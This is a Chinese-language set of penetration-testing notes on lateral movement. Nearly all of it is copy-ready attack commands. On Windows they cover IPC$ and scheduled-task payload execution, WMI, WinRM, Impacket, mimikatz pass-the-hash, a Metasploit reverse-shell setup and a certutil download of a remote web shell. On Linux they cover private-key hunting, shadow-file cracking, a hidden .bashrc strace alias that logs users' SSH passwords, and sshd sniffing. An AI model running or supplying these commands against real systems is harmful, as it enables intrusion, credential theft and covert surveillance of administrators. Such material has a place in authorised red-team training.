横向移动

前言

1. 定义

  • 在内网渗透过程中获取到某台内网机器的控制权限之后,结合现有的内网信息将权限扩大到另一台或者另一个网段的机器权限,从而突破逻辑隔离等边界限定,获取到重大成果,此过程称之为内网横向渗透。

2. 思路

  1. 通过攻击内网各种web,应用系统,系统服务获取权限。
  2. 通过内网信息收集获取凭证 明文密码和hash,利用明文和hash横向
    (例如通过wmi,smb,ipc,at,schtasks).
  3. 通过内网横向沦陷机器进行令牌窃取(steal token,incognito),窃取域成员机器上的域管账户的token.
  4. 抓取各种账户的hash,直接hash传递上线或直接pth登录(impacket+psexec+smbexec)。(域中默认域管才可以登录域控)

Windows

1. IPC+AT横向

(1). IPC介绍

a. 概述
  • IPC共享“命令管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用
b. 建立IPC$
  • 通过ipc$,与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器中执行命令,获取目标机中的信息
  • 建立ipc$的命令之后通过”net use“查看当前的连接
c. 利用条件
  1. 目标机开启了139和445端口
  2. 目标主机管理员开启了ipc$默认共享
  3. 知道目标机的账户密码
d. 错误说明

| 错误号 | 说明 |
| —— | ———————————————————— |
| 5 | 拒绝访问 |
| 53 | 找不到网络路径,包括IP错误、目标没开机、目标防火墙进行端口过滤 |
| 1219 | 提供的凭据与己存在的凭据集冲突 |
| 1326 | 未知的用户名或密码错误 |
| 2242 | 用户的密码已经过期 |

e. 默认对应关系
C$|ipc$ ==> c:
ADMIN$ ==>c:\windows
Users ==>c:\users

(2). 相关命令

a. 开启IPC
  • 通过网络连接远程计算机上的共享文件夹
net use \\192.168.172.22\c$ "A1B2C3.." /user:"administrator"

1. net use:用于在本地计算机和远程计算机之间建立或断开网络连接。
2. \\192.168.172.22\c$:这是目标共享路径。192.168.172.22是目标计算机的IP地址,而c$表示目标计算机的C盘共享($表明是默认的管理员共享,只有管理员用户有权访问)。
3. "laffrex.com":这是连接时使用的密码,可能是管理员账户的密码。
4. /user:"administrator":指定使用目标计算机上的administrator用户来进行登录。

远程连接

b. 查看ipc
  • 查看远程共享磁盘内容
net share

查看内容

c. 删除连接
①删除单个连接
#删除单个ipc连接,例如删除名为c$的ipc链接
net use \\192.168.172.22\c$ /del /y

删除单个连接

②删除所有连接
#删除所有ipc连接
net use * /del /y

删除所有连接

d. 其他指令
①列出目录
#列出远程计算机磁盘上的目录
dir \\192.168.172.22\c$\

列出目录

②查看文件
#查看文本文件内容
type \\192.168.172.22\c$\whoami.txt

查看文件

③上传文件
#上传文件(本地 => 远程主机)
copy shell.txt \\192.168.172.22\c$\shelll.txt

上传文件

查看上传的文件

④下载文件
#下载文件(远程主机 =>本地)
copy \\192.168.172.22\c$\shell1.txt

下载文件

⑤删除文件
#删除文件
del \\192.168.172.22\c$\shell.txt

删除文件

成功删除文件

⑥磁盘映射
#将目标机器的磁盘映射到本地z盘
net use z: \192.168.172.22\c$ /user:administrator A1B2C3..

#查看z盘
dir z:

磁盘映射

成功映射

⑦查看回话
#查看本机被连接的会话(也就是查看目标主机建立的ipc会话列表)
net session
net session /list

在目标机上查看会话

列表查看

⑧断开回话
#断开会话
net session \\192.168.172.22 /delete

断开回话

⑨查看进程信息
#查看目标主机的进程信息
tasklist /s 192.168.172.22 /u administrator /p A1B2C3..
⑩查看时间
#查看目标主机的当前时间
net time \\192.168.172.22

查看时间

](3).工作组计划任务

a. at指令
  • at在windows server 2008以后的弃用
①添加计划任务
#9:53执行目标c盘下的relay1.exe文件
at \\192.168.172.22 9:53 \\12.168.172.22\c$\relay1.exe

#Cobaltstrike 上线边界机,利用边界机创建中继监听器,利用中继监听器生成远控,通过针对目标机器创建计划任务运行远控上线CS

添加计划任务

在远程主机上查看是否添加计划任务成功

查看计划任务

②查看计划任务
at \\192.168.172.22

查看远程主机计划任务

③删除计划任务
at \\192.168.172.22 1 /delete

删除远程主机计划任务

b. schtasks指令
  • schtasks-create官方文档
  • https://learn.microsoft.com/zh-cn/windows-server/administration/windows-commands/schtasks-create
①指定时间运行
#创建计划任务指定时间运行
schtasks /create /s 192.168.172.10 /u administrator /p A1B2C3.. /tn relay2 /sc minute /st 10:15 /tr c:\relay1.exe /f
②启动时运行
#创建计划任务在启动时运行
schtasks /create /s 192.168.172.22 /u administrator /p A1B2C3.. /tn relay2 /sc onstart /tr c:lrelay1.exe /f
③指定运行
#运行指定计划任务
schtasks /run /s 192.168.172.22 /u administrator /p A1B2C3.. /tn relay2 /f
④删除
#删除指定计划任务
schtasks /delete /s 192.168.172.22 /u administrator /p A1B2C3.. /tn relay2 /f

(4). 域环境计划任务

a. 创建
  • schtasks /create /tn task1 /U 域名\域用户 /P 域用户密码 /tr 命令 /SC ONSTART /s 域机器ip /RU system
#cmd命令行中
schtasks /create /tn taskl /U laffrex0\Win10 /P A1B2C3.. /tr "cmd.exe /C whoami > C:\1.txt" /SC ONSTART /s 192.168.172.10 /RU SYSTEM

成功创建

b. 运行
  • schtasks /run /tn task1 /s 192.168.10.2 /U 域\域用户 /P 域用户密码
#cmd命令行中执行
schtasks /run /tn task1 /s 192.168.172.10 /u laffrex0\Win10 /P A1B2C3..
c. 删除
  • schtasks /F /delete /tn task1 /s 域机器ip /u 域\域用户 /p 域用户密码
#在cmd命令行中执行
schtasks /F /delete /tn task1 /s 192.168.172.10 /u laffrex0\Win10 /p A1B2C3..

2. WMI横向

(1). 概述

  • WMl:(Windows Management Instrumentation; Windows 管理规范),是用户管理本地和远程计算机的一种 模型。通过它可以访问、配置、管理和监视几乎所有的Windows资源。WMI的语法十分简单,基本上常见的命名空间、对象等用几乎一模一样。它对应的是Windows里的WMI服务(winmgmt)

  • 在 windows 2000之后的操作系统中内置了该服务。WMI使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CIM中使用类表示管理对象,命名空间是一个类的集合。

  • 通过使用135端口上的远程过程调用(RPC)进行通信以进行远程访问,它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令

(2). 基本使用

a. 执行命令
#创建一个进程执行cmd.exe/cwhoami>c:\whoami.txt
wmic /node:192.168.172.22 /user:administrator /password:A1B2C3.. process call create "cmd.exe /c whoami >c:\whoami.txt'

wmic /node:192.168.172.10 /user:laffrex0\Win10 /password:A1B2C3.. process call create "cmd.exe /c whoami >c:\whoami.txt'

#查看执行的结果
type \\192.168.172.22\c$\whoami.txt
b. 创建进程
  • wmic process call create /?
wmic /node:192.168.172.22 /user:administrator /password:A1B2C3.. process call create "c:\relay1.exe"

3. Cscript传递

(1). 概述

  • 自带的cscript为明文传递,有回显,但是需要提前传入wmiexec.vbs文件,并且目标服务器开启135端口

(2). 前提条件

  1. 获得明文密码
  2. 只能在本地执行
  3. 需要Administrator用户账号的权限
  4. 跳板机可以为任意权限

(3). 基本使用

  • 运行以下命令后,可以得到目标机器交互式shell,执行命令
a. 工作组
#在目标主机上使用administrator权限,通过 wmiexec.vbs 脚本指定脚本的shell参数来执行命令
cscript //nologo wmiexec.vbs /shell 192.168.172.22 administrator !@#$QWER1234qwer
b. 域环境
#在域中通过wmiexec.vbs脚本指定脚本的shell参数来执行命令
cscript //nologo wmiexec.vbs /shell 192.168.172.22 laffrex0\Winserver2008 A1B2C3..
c. 前提条件
  1. wmiexec.vbs文件能上传到执行命令的主机上
  2. 拿到被控主机的交互式shell,进行反弹shell

4. WinRM横向

(1). 概述

  • WinRM(Windows Remote Management)指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行
  • winrs.exe:基于命令行的工具,此工具作为客户端使用,用于远程连接运行WinRM的服务器并执行大多数的cmd命令。
  • WinRM服务在Windows Vista和Windows Server2008已经默认安装,但Windows7和 Windows Server2008需要手动启动,从Windows Server2008 R2开始WinRM自动启动,监听5985端囗(WS-Management 服务上的HTTP协议)和 5986端囗(WS-Management 服务上的HTTPS协议)。

(2). 使用

a. 利用条件
  1. 通信的双方都需要开启WinRM服务
  2. WinRs 适用于 Win server 2008/Win7 及以后的系统,但是 Win server 2008/PC 全版本系统默认关闭。
  3. 只有在Win server 2012 之后的版本的WinRM服务才默认启动并监听了5985端口,允许远程任意主机来管理。
b. 基本使用
  1. 命令开启WinRM服务

    winrm quickconfig -q
    
  2. 判断是否开启WinRM服务的4种方法

    winrm enumerate winrm/config/listener
    
    netstat -ano | findstr 5985
    
    wmic service list brief | findstr WinRM
    
    sc query | findstr "WinRM"
    
  3. 查看WinRM具体配置

    wimrm get wimrm/config
    
  4. 只允许当前域用户或者处于本机TrustedHosts列表中的远程主机访问

  5. 攻击机和靶机均要配置

    wimrm set wimrm/config/client @{TRUSTEDHOSTS="*"}
    
  6. 远程执行命令

    #在域主机上远程执行whoami
    winrs -r:192.168.172.22 -u:laffrex0\administrator -p:A1B2C3.. whoami
    
  7. 利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法

    #生成一个calc.exe的新进程
    winrm invoke create wmicimv2/win32_process @{commandline="calc.exe"}
    
  8. 在远程主机上打开进程

    winrm invoke create wmicimv2/win32_process ${commandline="calc.exe"} -r:http://192.168.172.22:5985 -u laffrex0\administrator -p A1B2C3..
    
  9. 在远程主机上创建&启动服务

    #创建服务
    winrm invoke create wmicimv2/win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\windows\temp\relay.exe"} -r http://192.168.172.22:5985 -u laffrex0\administrator -p A1B2C3..
    
    #启动服务
    winrm invoke StartService wmicimv2/win32_Service?Name=test -r http://192.168.172.22:5985 -u laffrex0\administrator -p A1B2C3..
    
    #运行后门
    winrm invoke create wmicimv2/win32_process @{commandline="cmd.exe /k c:\windows\temp\relay.exe"} -r http://192.168.172.22:5985 -u laffrex0\administrator -p A1B2C3..
    

5. 常用工具

Impacket——用python编写的后渗透工具,是用于处理网络协议的Python类的集合,其提供的远程执行工具有:

  1. psexec.py–使用RemComSvc的PSEXEC的类似功能
  2. smbexec.py–使用RemComSvc的PSEXECw/o的类似方法
  3. atexec.py – 通过 Task Scheduler 服务在目标计算机上执行命令,并返回执行的命令的输出
  4. wmiexec,py – 通过Windows Management Instrumentation使用的半交互式shell,不需要在目标服务器上安装任何服务/代理,以管理员身份运行,非常隐蔽

(1). psexec传递

a. 概述
  • SMB服务可以通过明文或Hash传递进行攻击,需要对方服务器的445端口开放。该工具既有微软官方自带(不考虑免杀),也有第三方制作(需要考虑免杀)
b. 前提条件
  1. 能够获得明文密码(官方工具)或密码hash值(第三方软件)
  2. 通过psexec工具只能在本地反弹shell,可以结合cs来远程反弹会话
  3. 建立的链接需要使用administrator用户权限
  4. 跳板机为任意权限
c. 命令语句
①明文密码
  1. 方法1,先建立ipc$连接,再执行命令

    #1. 建立 IPC 链接,连接到目标主机的 IPC$ 共享
    net use \\192.168.172.22\ipc$ "A1B2C3.." /user:administrator
    
    #2. 使用 PsExec 连接跳板机,以 SYSTEM 权限运行命令行
    psexec.exe -accepteula \\192.168.89.1 -s cmd.exe # 在跳板机 192.168.89.1 上启动 SYSTEM 权限的命令行
    psexec.exe -accepteula \\192.168.172.22 -s cmd.exe # 在目标主机 192.168.172.22 上启动 SYSTEM 权限的命令行
    # 需要先建立 IPC 链接,-s 以 SYSTEM 权限运行,-accepteula 表示接受协议条款(首次运行不会弹出协议窗口)
    
    #3. 在跳板机上执行单条命令
    psexec.exe -accepteula \\192.168.89.1 -s cmd.exe /c "whoami" # 在跳板机 192.168.89.1 上执行 whoami 命令,显示当前用户权限
    
  2. 方法2,直接根据明文密码执行命令

    psexec.exe -accepteula \\192.168.89.1 -u administrator -p A1B2C3.. -s cmd.exe
    
  3. 明文密码登录

    #域账户登录
    impacket-psexec laffrex0\administrator:A1B2C3..@192.168.172.22
    #工作组账号登录
    impacket-psexec administrator:A1B2C3..@192.168.172.22
    
②hash登录
#工作组账号登录
impacket -psexec administrator@192.168.172.22 -hashes:hash值

#域账户登录
impacket -psexec laffrex0\administrator@192.168.172.22 -hashes:hash值

(2). smbexec传递

a. 概述
  • 该工具为第三方工具,需要考虑免杀,同时服务器开启445端口
b. 前提条件
  1. 能够获得明文密码(官方工具)或密码hash值(第三方)
  2. 只能本地反弹she11,无法远程反弹
  3. 建立的连接需要administrator权限
  4. 跳板机任意权限
c. 命令语句
#工作组环境
impacket-smbexec administrator:A1B2C3..@192.168.172.22
impacket-smbexec administrator@192.168.172.22 -hashes:hash值

#域环境
impacket-smbexec laffrex0/administrator:A1B2C3..@192.168.172.22
impacket-smbexec laffrex0/administrator@192.168.172.22 -hashes
:hash值

(3). wmiexec传递

a. 概述
  • 该工具为第三方工具,需要注意免杀,也需要目标服务器开启 135 端口
b. 前提条件
  1. 获取明文密码或hash值
  2. 只能在本地执行
  3. 需要administrator用户账号
  4. 跳板机任意权限
c. 命令语句
#工作组环境
impacket-wmiexec administrator:A1B2C3..@192.168.172.22
impacket-wmiexec administrator:A1B2C3..@192.168.172.22 "whoami"
impacket-wmiexec administrator@192.168.172.22 -hashes:hash值

#域环境
impacket-wmiexec laffrex0/administrator:A1B2C3..@192.168.172.22
impacket-wmiexec laffrex0/administrator@192.168.172.22 -hashes
:hash值

(4). atexec传递

  • 利用计划任务进行传递
#工作组环境
impacket-atexec administrator:A1B2C3..@192.168.172.22 "whoami
impacket-atexec administrator@192.168.172.22 "whoami" -hashes
:hash值

#域环境
impacket-atexec laffrex0/administrator:A1B2C3..@192.168.172.22
"whoami
impacket-atexec laffrex0/administrator@192.168,172.22 "whoami" -hashes:hash值

(5). Dcom传递

  • 通过Dcom组件实现命令执行

    #工作组环境
    impacket-dcomexec administrator@192.168.172.22 -hashes
    :hash值
    impacket-dcomexec administrator:A1B2C3..@192.168.172.22
    
    #域环境
    impacket-dcomexec laffrex0//administrator@192.168.172.22 -hashes:hash值
    impacket-dcomexec laffrex0/administrator:IcQsafe666@192.168.172.22
    

6. PTH横向

(1). 概述

  • PTH 攻击建立在密码 hash 之上。攻击系统范围为 win7\win2008r2\win2012等。若系统打了KB2871997 补丁,只能使用sid为500的administrator用户进行连接,没有打补丁任何用户都可以连接,默认Windows server SP1都打了该补丁.

(2). 前提条件

  1. 获取密码hash
  2. 判断是否打了补丁 KB2871997
  3. 跳板机权限为管理员权限
  4. 可以在本地和远程执行

(3). 命令语句

a. 本地执行
  • 基于mimikatz执行

    #基于mimikatz执行
    privilege::debug
    #域环境
    1)sekurlsa::pth /user:administrator /domain:laffrex /ntlm:hash值
    #工作组环境
    2)sekurlsa::pth /user:administrator /domain:workgroup /ntlm:hash值 
    
    #弹出一个命令执行框,在这个框中建立了类似的ipc$连接,
    #我们可以查看目录,下载文件,上传文件,创建计划任务执行文件
    在内网横向中可以通过以上mimikatz生成的凭证访问内网任何机器(用户名和密码与mimkatz输入的相同)
    
    #如:
    dir \\administrator.laffrex.com\c$
    dir \\192.168.172.22\c$
    
b. 远程执行
  • 基于CS执行

    1)mimikatz sekurlsa::pth /user:administrator /domain:workgroup
    /ntlm:hash值
    2)steal_token PID
    3)shell dir \\192.168.172.22\c$
    

7. MSF hash传递

#进入控制台,使用以下模块
use exploit/windows/smb/psexec

#设置基本攻击信息
set rhosts 192.168.172.22 
set smbuser administrator

#只有明文密码时
set smbpass A1B2C3..

#只有密码hash值时
set smbpass 密码hash值

#开始运行模块
run -j -z

8. RDP横向

(1). 概述

  • Restricted Admin mode,直译为受限管理模式,主要功能是使得凭据不会暴露在目标系统中,适用系统Windows 8.1和Windows Server 2012 R2及以上默认支持该功能
  • Windows 7和Windows Server2008 R2默认不支持,需要安装补丁28719972973351

(2). 前提条件

  1. 目标机器必须支持Restricted Admin mode
  2. 目标机器能够开启Restricted Admin mode
  3. 知道目标主机的密码hash值

(3). 开启方法

  • 在目标主机上进行如下操作来开启Restricted Admin mode
a. 打补丁
  • 安装补丁3126593
b. 修改注册表
#00000000代表开启,00000001代表关闭
REG ADD "HKLM\system\currentcontrolset\control\Lsa” /v DisableRestrictedAdmin /t
REG_DWORD /d 00000000 /f

(4). 使用方法

  1. 在客户端命令行执行以下命令

    #通过restrictedadmin的方式来使用RDP协议
    mstsc.exe /restrictedadmin
    

    不支持Restricted Admin mode时:

    不支持协议

    支持Restricted Admin mode时:

    支持协议

  2. 在服务端运行如下命令,开启Restricted Admin mode

    REG ADD "HKLM\System\CurrentControlSet\control\Lsa" /v DisableRestrictedAdmin /t REG DWORD /d 00000000 /f
    
  3. 攻击机使用mimikatz执行如下命令

    privilege::debug
    sekurlsa::pth /user:administrator /domain:. /ntlm:hash值 "/run:mstsc.exe /restrictedadmin"
    
  4. 直接在弹出的窗口输入服务端ip即可连接,无需密码

9. WMIHACKER

(1). 概述

  • (无需445端口)
  • 免杀横向移动命令执行测试工具(无需445端口)
  • 免杀横向渗透远程命令执行,常见的WMIEXEC、PSEXEC执行命令是创建服务或调用Win32 Process.create执行命令,这些方式都已经被杀软100%拦截,因此改造出该款WMIHACKER免杀横向移动测试工具。
    主要功能:1、命令执行;2、文件上传;3、文件下载;4、PTH使用

(2). 使用

#基本用法
WMIHACKER.VbS /cmd host user pass command GETRES?
WMIHACKER.VbS /shell host user pass 
WMIHACKER.vbS /upload host user pass localpath remotepath
WMIHACKER.vbS /download host user pass localpath remotepath
/cmd        single command mode
host        hostname or Ip address
GETRES?     Res Need or Not,use 1 or 0
command     the command to run on remote host
a. PTH
  • 脚本内容的用户名和密码填写为'-',结合mimikatz的PTH就可以进行WMI的PTH了
#cmd命令行运行
cscript //nologo WMIHACKER_0.6.vbs
b. 命令执行
①有回显
cscript WMIHACKER_0.6.vbs /cmd 192.168.172.22 administrator "A1B2C3.." "systeminfo" 1
②无回显
cscript MIHACKER_0.6.vbs /cmd 192.168.172.22 administrator "A1B2C3.."
"systeminfo > c:\1.txt" 0
c. 模拟shell
cscript WMIHACKER_0.6.vbs /she11 192.168.172.22 administrator "A1B2C3.."
d. 文件上传
  • 将本地主机的calc.exe上传到远程主机的c盘下
cscript wmihacker_0.6.vbs /upload 192.168.172.22 administrator "A1B2C3.."
'c:\windows\system32\calc.exe" "c:\calc"
e. 文件下载
  • 下载远程主机calc.exe到本地的c盘下
cscript wmihacker_0.6.vbs /download 192.168.172.22 administrator "A1B2C3.."
"c:\calc" "c:\windows\system32\calc.exe"
f. hash传递
  1. 先通过mimikatz,在本地以远程主机权限启动一个cmd命令行

    #先提前获得权限
    privilege::debug
    #在本地cmd命令行获得远程主机的权限
    sekurlsa::path /user:administrator /domain:laffrex0 /ntlm:hash值 /run:cmd.exe
    

    启动远程命令行

  2. 在新启动的cmd命令行,执行命令以反弹shell

    cscript WMIHACKER_0.6.vbs //nologo /shell 192.168.172.100 - -
    

    反弹shell

10. crackmapexec

  • 在知道账户和密码的情况下,可通过u直到用户名,p指定密码,x指定命令

    crackmapexec smb 192.168.172.22 -u administrator -p A1B2C3.. -x whoami
    

11. ssh登录

  • 这里使用putty软件为例
1. 使用 WinSCP、SFTP 等工具将私钥文件 id_rsa 下载到客户端机器上。然后打开 PuTTYGen,单击Actions 中的 Load 按钮,载入你刚才下载到的私钥文件。如果你设置了密钥锁码,这时则需要输入。

2. 载入成功后,PuTTYGen 会显示密铜相关的信息。在Key comment 中键入对密钥的说明信息,然后单击 Save private key 按钮即可将私钥文件存放为 PuTTY 能使用的格式
。
3. 今后,当你使用 PuTTY 登录时,可以在左侧的 Connection ->SsH->Auth 中的 Private key file forauthentication: 处选择你的私钥文件,然后即可登录了,过程中只需输入密钥锁码即可。

12. 获取Shell总结

(1). 反弹shell

a. SMB横向
#psexec 执行命令可交互式shell
psexec.py administrator:A1B2C3..@192.168.172.20 cmd.exe #执行命令
psexec.py laffrex.com/administrator:A1B2C3..@192.168.172.20 cmd.exe
b.wmiexec
#wmiexec执行命令可反弹shell
wmiexec.py administrator:A1B2C3..@192.168.172.20 whoami#执行命令
wmiexec.py laffrex.com/administrator:A1B2C3..@192.168.172.20 'certutil.exe -urlcache -split -f http://10.10.0.80/phproot/shell.php'  #执行命令下载文件
c. atexec
#atexec 执行命令执行命令可反弹shell
atexec.py administrator:A1B2C3..@192.168.172.20 whoami #执行命令
d. smbexec
#返回交互式shell
smbexec.py administrator:A1B2C3..@192.168.172.20 

(2). 交互式shell

a. MSF远程登录模块
auxiliary/scanner/smb/impacket/wmiexec
exploit/windows/smb/psexec
b. Windows PsExec
①参数
-accepteula:第-次运行PsExec会弹出确认框,使用该参数将不会弹出确认框
-5:以system权限运行远程进程,并获取一个交互式shell
-c:复制文件至远程主机并执行 复制文件至c:\Windows并运行
-u:以账户身份运行
-p:用密码运行
-d:以当前身份运行程序
v:替换已经存在文件
②命令
#复制本地的c:\rev.exe至10.10.0.200,以当前登录的administrator账户运行此程序
psexec64.exe 192.168.172.20  -u administrator -p A1B2C3.. -d -c c:\rev.exe

#复制本地的c:\rev.exe至10.10.0.200,以当前登录的system账户运行此程序
psexec64.exe 192.168.172.20  -u administrator -p A1B2C3.. -s -c c:\rev.exe

#以当前administrator在目标10.10.0.200运行cmd返回交互式shell
psexec64.exe 192.168.172.20  -u administrator -p A1B2C3.. -d cmd.exe

#以域内账户运行
psexec64.exe 192.168.172.20  -u laffrex.com\administrator -p A1B2C3.. cmd

(3). hash传递

  • Windows密码的hash格式:username:sid:lmhash:ntlmhash
a. msf模块
use exploit/windows/smb/psexec     # 选择Metasploit中的psexec模块,利用SMB在目标机器上执行代码
set payload windows/x64/meterpreter/reverse_tcp  # 设置有效负载为64位的Meterpreter反向TCP shell
set lhost 10.10.0.132           # 设置攻击者的IP地址,用于接收反向连接
set lport 4444                  # 设置攻击者机器上的端口,用于接收反向连接
set rhost 10.10.0.200           # 设置目标主机的IP地址,即要攻击的远程Windows主机
set smbuser administrator       # 设置用于SMB认证的用户名,这里为目标系统的管理员用户
set smbpass lm哈希:ntlm哈希      # 设置用于SMB认证的密码哈希,以"lm哈希:ntlm哈希"格式传递哈希值
set smbdomain laffrex.com       # 设置目标机器所属的域名,此处为“laffrex.com”
run -j -2                       # 以作业模式运行 (-j),-2代表重新尝试2次,以便更稳定
b. 工作组 PTH
  • 以下脚本均基于Impacket 实现
①psexec.py
psexec.py administrator:192.168.172.20 -hashes 
②smbexec.py
smbexec.py administrator:10.10.0.200 -hashes lm哈希:ntlm哈希
③wmiexec.py
wmiexec.py administrator:10.10.0.200 -hashes lm哈希:ntlm哈希
④atexec.py
atexec.py administrator@10.10.0.200 whoami -hashes lm哈希:ntlm哈希
⑤计划任务
  • 执行命令 | 创建计划任务,将执行命令的结果写入文件,最后通过读取文件获取结果
c. 域环境PTH
①psexec.py
#交互式shell
psexec.py laffrex.com/administrator:192.168.172.22 -hashes lm哈希:ntlm哈希
②smbexec.py
#检测目标是否存在可写的默认共享目录,上传后门注册服务,开启服务,返回交互式shell
smbexec.py laffrex.com/administrator@192.168.172.22 -hashes lm哈希:ntlm哈希
③wmiexec.py
#直接登陆目标机器smb服务,返回交互式shell
wmiexec.py laffrex.com/administrator@192.168.172.22 -hashes lm哈希:ntlm哈希

Linux

1. 主机存活探测

(1). shell

for i in 192.168.111.{1..254}; do if ping -c 3 -w 3 $i &/dev/nu1l; then echo $i is alived; fi; done
    or
for k in $( seg 1 255);do ping -c 1 192.168.1.$k|grep "ttl"|awk -F "[ :]+ {print $4}'; done

(2). arpscan

#克隆并编译
git clone https://github.com/attackdebris/arpscan.git
make
#赋予执行权限
chmod +x arpscan
#运行程序
./arpscan

(3). nbtscan

#下载并编译
wget http://unixwiz.net/tools/nbtscan-source-1.0.35.tgz
tar -xzvf nbtscan-source-1.0.35.tgz
make
#运行程序
nbtscan -h

2. SSH横向

  • Linux横向的重点,获取linux账号的明文密码作用很大,因为内网环境管理员可能就那么几个,不同服务器所设置的密码也有可能相同。

(1). ssh私钥泄露

  • ssh私钥存放位置:/root/.ssh/
a. 搜索包含密钥文件
#id_rs为私钥,id_rsa.pub为公钥
grep -ir "BEGIN DSA PRIVATE KEY" /home/*
grep -ir "BEGIN DSA PRIVATE KEY" /*
grep -ir "BEGIN RSA PRIVATE KEY" /home/*
grep -ir "BEGIN RSA PRIVATE KEY" /*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /home/*
grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
b. 查看密钥所属服务器
  • 翻以下配置文件获得相关信息
/etc/hosts
/etc/ssh/ssh_config
~/.known_hosts
~/.bash_ history
~/.ssh/config

其中,known_hosts文件用于验证远程登陆系统的身份。ssh可以自动将密钥添加到用户文件,也可以手动添加。该文件包含用户已连接过所有主机的远程机器ip、远程机器公钥。一般,初次登陆,ssh会自动将远程主机的公钥添加到用户的known_hosts文件。known_hosts格式有两种,取决于你的~/.ssh/config 文件中的 HashknownHosts 字段的设置,有可能是明文(字段值为no)也有可能是一段哈希字符串(字段值为yes)。如果没有~/.ssh/config 文件,这取决于于/etc/ssh/ssh_config 文件中的该字段。

c. 通过密钥登录
#使用-i参数指定密钥文件的路径
ssh root@192.168.71.49 -i /home/kali/.ssh/id_rsa
d. 破解ssh密钥
①本地使用john
  • 使用函数将密钥转换为john2hash.py的哈希值

    #转换哈希:
    python /usr/share/john/ssh2john.py id_rsa > id_rsa. hash-john
    #使用综合密码字典爆破:
    john --wordlist=/usr/share/wordlists/password.txt id_rsa. hash-john
    
②本地使用hashcat
  • 如果可以访问GPu,则可以使用此方法来缩短破解时间
e. ssh密码爆破
  • ssh密码存放于/etc/shadow文件中,可以使用john或hashcat等工具尝试爆破
①文件内容
#shadow文件内容
root:$6$gvhlg71$//0whloy9i55tzFatxkzafR7n7KA2P2nRh7kMs082KrGV89uitSTPEJ0QjXSRGpSEFuFKncT0a0.g92kCstoP1:17938:0:99999:7:::
以官号分隔:
1.第一个字段是用户名
2.第二字字段是加密的密码,如果是x 则代表不能登录系统
3.上次修改口令的时间
4.两次修改口令的最短间隔的天数
5.两次修改口令的最长的间隔天数
6.设置提前多少天告警用户口令将过期
7.口令过期后多少天禁止此用户
8.用户过期日期
9.保留字段
②密码部分
#对于密码部分
$6$gvh1gI71$//0wh1oy9i55tzFatxkzafR7n7KA2P2nRh7kM5082KrGV89uitSTPEJ0QjXSRGpSEFuFKnCT0a0.g92kcstoP1

#进一步解释一下$分割的各个部分的含义:
1. 第1部分为加密方式,密钥加密方式有5种:
$1 表示MD5加密算法
$2 表示使用blowfish 加密算法
$5 表示 SHA-256加密算法
$6 表示SHA-512加密算法(如上)
其他 标准的DES

2. 第2部分为盐值
qvh1qI7I:盐值

3. 第3部分为hash的值
//0whloy9i55tzFatxkzafR7n7KA2P2nRh7kMs082KrGV89uitSTPEJ0QiXSRGPSEFUFKnCTOa0.g92kcstoP1
③john
#直接保存shadow文件
cp /etc/shadow shadow.txt

#如果有unshadow的话,也可以把这两个文件整合
unshadow /etc/passwd /etc/shadow >shadow.txt 

#利用字典进行破解
john --wordlist=pass.txt shadow.txt 

#查看破解信息
john --show shadow.txt
④hashcat
  • 使用文章https://xz.aliyun.com/t/4008

  • 基本使用

    -m 是指定那种加密类型,1800是SHA-512(unix)的代号,具体-he1p来查看:
    -a是指定攻击模式,0代表straight模式,使用字典进行破解尝试;
    -o 指定输出文件名;
    hash.txt 是我们上面保存的加密密码文件;
    pass.txt 是我们的爆破密码字典,越大越精越好:
    --force 忽略破解过程中的警告信息,跑单条hash可能需要加上此选项
    
  • 实例

  • 将/etc/shadow文件提取密码字段,并保存在hash.txt文件中

     hashcat -m 1800 -a 0 -o result.txt hash.txt pass.txt --force
    

(2). SSH Keylogger

  • 利用strace系统调试工具获取ssh的读写连接的数据,以达到抓取管理员登陆其他机器的明文密码的作用。

  • 在当前用户的.bashrc里新建一条alias,这样可以抓取他登陆其他机器的ssh密码。

#在当前用户的shell环境中定义一个别名
vi ~/.bashrc

#在最后一行插入
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.1og -e read,write,connect  -s2048 ssh'

#刷新当前的shell环境
source ~/.bashrc
  1. 设置完毕后,使用SSH登录其他机器
  2. 查看/tmp/.sshpwd-xxxxx文件,即可找到用户使用ssh登录的密码

(3). strace监听ssh来源流量

  • 直接使用strace来监听登录本地的流量,抓到别人连入的密码,适用于通过漏洞获取root权限,但是不知道明文密码的情况
#父进程PID
ps -ef l grep sshd

#运行
strace -f -p 811 -0 /tmp/.ssh.1og -e trace=read,write,connect -s 2048

#或者后台运行
nohup strace -f -p 811 -0 /tmp/.ssh.1og -e trace=read,write,connect -s 2048 &